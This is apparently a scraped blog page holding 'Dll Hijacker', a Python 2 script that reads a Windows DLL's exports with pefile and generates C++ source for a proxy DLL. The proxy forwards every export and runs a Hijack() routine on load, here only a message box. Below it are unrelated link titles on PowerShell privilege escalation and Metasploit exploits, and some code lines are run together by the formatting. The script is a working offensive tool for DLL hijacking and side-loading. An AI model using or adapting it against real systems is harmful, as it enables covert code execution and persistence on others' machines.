Dll Hijacker
#coding=utf-8
#
# Dll Hijacker
#
# platform: Python 2.x @ Windows
#
# author:Coca1ne import os,sys,time
import pefile def main():
try:
pe = pefile.PE(sys.argv[1])
exportTable = pe.DIRECTORY_ENTRY_EXPORT.symbols
print "[!]Find export function :[ %d ]\r\n" % len(exportTable)
for exptab in exportTable:
print "%3s %10s" % (exptab.ordinal, exptab.name)
print "\r\n[+] generating DLL Hijack cpp file ..." generate(exportTable) print "\r\n[+] generating DLL Hijack cpp file has finished!"
except Exception, e:
print e def generate(exportTable):
segments = r"//Generate by DLLHijacker.py\
\
#include <Windows.h>\
\
DEFINE_DLL_EXPORT_FUNC\
#define EXTERNC extern \"C\"\
#define NAKED __declspec(naked)\
#define EXPORT __declspec(dllexport)\
#define ALCPP EXPORT NAKED\
#define ALSTD EXTERNC EXPORT NAKED void __stdcall\
#define ALCFAST EXTERNC EXPORT NAKED void __fastcall\
#define ALCDECL EXTERNC NAKED void __cdecl\
\
namespace DLLHijacker\
{\
HMODULE m_hModule = NULL;\
DWORD m_dwReturn[17] = {0};\
inline BOOL WINAPI Load()\
{\
TCHAR tzPath[MAX_PATH];\
lstrcpy(tzPath, TEXT(\"DLL_FILENAME.dll\"));\
m_hModule = LoadLibrary(tzPath);\
if (m_hModule == NULL)\
return FALSE;\
return (m_hModule != NULL);\
}\
inline VOID WINAPI Free()\
{\
if (m_hModule)\
FreeLibrary(m_hModule);\
}\
FARPROC WINAPI GetAddress(PCSTR pszProcName)\
{\
FARPROC fpAddress;\
CHAR szProcName[16];\
fpAddress = GetProcAddress(m_hModule, pszProcName);\
if (fpAddress == NULL)\
{\
if (HIWORD(pszProcName) == 0)\
{\
wsprintf(szProcName, \"%d\", pszProcName);\
pszProcName = szProcName;\
}\
ExitProcess(-2);\
}\
return fpAddress;\
}\
}\
using namespace DLLHijacker;\
VOID Hijack()\
{\
MessageBoxW(NULL, L\"DLL Hijack! by DLLHijacker\", L\":)\", 0);\
}\
BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)\
{\
if (dwReason == DLL_PROCESS_ATTACH)\
{\
DisableThreadLibraryCalls(hModule);\
if(Load())\
Hijack();\
}\
else if (dwReason == DLL_PROCESS_DETACH)\
{\
Free();\
}\
return TRUE;\
}\
"
filename = sys.argv[1][sys.argv[1].rindex('\\')+1:sys.argv[1].rindex('.')]
fp = open(filename + ".cpp", "w+")
define_dll_exp_func = ""
for exptable in exportTable:
define_dll_exp_func += r"#pragma comment(linker, \"/EXPORT:" + str(exptable.name) +\
"=_DLLHijacker_" + str(exptable.name) + ",@"+ str(exptable.ordinal) +"\")\n"
segments = segments.replace('DLL_FILENAME', filename)
segments = segments.replace("DEFINE_DLL_EXPORT_FUNC", define_dll_exp_func).replace('\\','')
fp.writelines(segments) forward_dll_exp_func = ""
for exptable in exportTable:
forward_dll_exp_func += "ALCDECL DLLHijacker_"+ str(exptable.name) +"(void)\n{" + \
"\n __asm POP m_dwReturn[0 * TYPE long];\n GetAddress(\""+ \
str(exptable.name) + "\")();\n __asm JMP m_dwReturn[0 * TYPE long];\n}\r\n"
fp.writelines(forward_dll_exp_func)
fp.close() def usage():
print "Usage:"
print " %s c:\\windows\\system32\\msimg32.dll" % sys.argv[0] if __name__ == "__main__":
if(len(sys.argv) <2):
usage()
else:
main()
Dll Hijacker的更多相关文章
- 使用powershell提权的一些技巧
原文:http://fuzzysecurity.com/tutorials/16.html 翻译:http://www.myexception.cn/windows/1752546.html http ...
- metasploit--exploit模块信息
Name Disclosure Date Rank Description ---- ...
- Kali linux 2016.2(Rolling)中的Exploits模块详解
简单来将,这个Exploits模块,就是针对不同的已知漏洞的利用程序. root@kali:~# msfconsole Unable to handle kernel NULL pointer der ...
- dll文件32位64位检测工具以及Windows文件夹SysWow64的坑
自从操作系统升级到64位以后,就要不断的需要面对32位.64位的问题.相信有很多人并不是很清楚32位程序与64位程序的区别,以及Program Files (x86),Program Files的区别 ...
- C#创建dll类库
类库让我们的代码可复用,我们只需要在类库中声明变量一次,就能在接下来的过程中无数次地使用,而无需在每次使用前都要声明它.这样一来,就节省了我们的内存空间.而想要在类库添加什么类,还需取决于类库要实现哪 ...
- 关于Linux和Windows下部署mysql.data.dll的注册问题
mysql ado.net connector下载地址: http://dev.mysql.com/downloads/connector/net/ 选择版本: Generally Available ...
- Windows平台Go调用DLL的坑
最近的项目中,使用了GO来开发一些服务中转程序.业务比较简单,但是有一些业务需要复用原有C++开发的代码.而在WINDOWS,用CGO方式来集成C/C++代码并不是太方便.所以用DLL把C++的代码封 ...
- C#开发奇技淫巧三:把dll放在不同的目录让你的程序更整洁
系列文章 C#开发奇技淫巧一:调试windows系统服务 C#开发奇技淫巧二:根据dll文件加载C++或者Delphi插件 C#开发奇技淫巧三:把dll放在不同的目录让你的程序更整洁 程序目录的整理 ...
- .Net使用Newtonsoft.Json.dll(JSON.NET)对象序列化成json、反序列化json示例教程
JSON作为一种轻量级的数据交换格式,简单灵活,被很多系统用来数据交互,作为一名.NET开发人员,JSON.NET无疑是最好的序列化框架,支持XML和JSON序列化,高性能,免费开源,支持LINQ查询 ...
随机推荐
- ajax数据提交数据的三种方式和jquery的事件委托
ajax数据提交数据的三种方式 1.只是字符串或数字 $.ajax({ url: 'http//www.baidu.com', type: 'GET/POST', data: {'k1':'v1'}, ...
- SVN部署
1.安装SVN yum install subversion –y 2.配置SVN 建立SVN版本库数据存储目录(svndata)及用户.密码权限目录(svnpasswd) mkdir -p /app ...
- 转!mysql备份与还原数据库
备份数据库:1) mysqldump -uroot -p db_name > 20181018_preprod_bak.sql2) 输入数据库密码 还原数据库:1. 系统命令行:mysqladm ...
- app后端设计(0)--总目录(转)
原文:http://blog.csdn.net/newjueqi/article/details/19003775 做了接近两年app相关的系统架构,api设计,先后在两个创业公司中工作,经历过手机网 ...
- centos 配置yum源
1.yum配置 yum的配置文件在 /etc/yum.conf [root@mini ~]# cat /etc/yum.conf [main] cachedir=/var/cache/yum/$ba ...
- Java应用程序中System.out.println输出中文乱码
其实,解决办法比较简单,即:编译时指定编码为UTF-8,如: javac -encoding utf- HelloJava.java 这样,再运行时就不会出现乱码. 比较详细的内容可以参考:http: ...
- CCF 201312-4 有趣的数[dp][难]
问题描述 试题编号: 201312-4 试题名称: 有趣的数 时间限制: 1.0s 内存限制: 256.0MB 问题描述: 问题描述 我们把一个数称为有趣的,当且仅当: 1. 它的数字只包含0, 1, ...
- 理解ASM的Extent
理解ASM的Extent 分类: Oracle 2017-04-14 10:19:44 ASM中分配空间的单位是AU,Extent包含1个或多个AU.在11g之前,1个Extent对应1个AU.而 ...
- HMM,MEMM,CRF模型的比较
本文参考自:http://blog.csdn.net/happyzhouxiaopei/article/details/7960876 这三个模型都可以用来做序列标注模型.但是其各自有自身的特点,HM ...
- win7 64bits下编译libjpeg库
一.下载源代码.下载地址:http://www.ijg.org/.注意:一定要下载win32 版本二.编译源代码. 1.解压源代码,(不需要修改,修改报错)修改源代码中jconfig.vc ...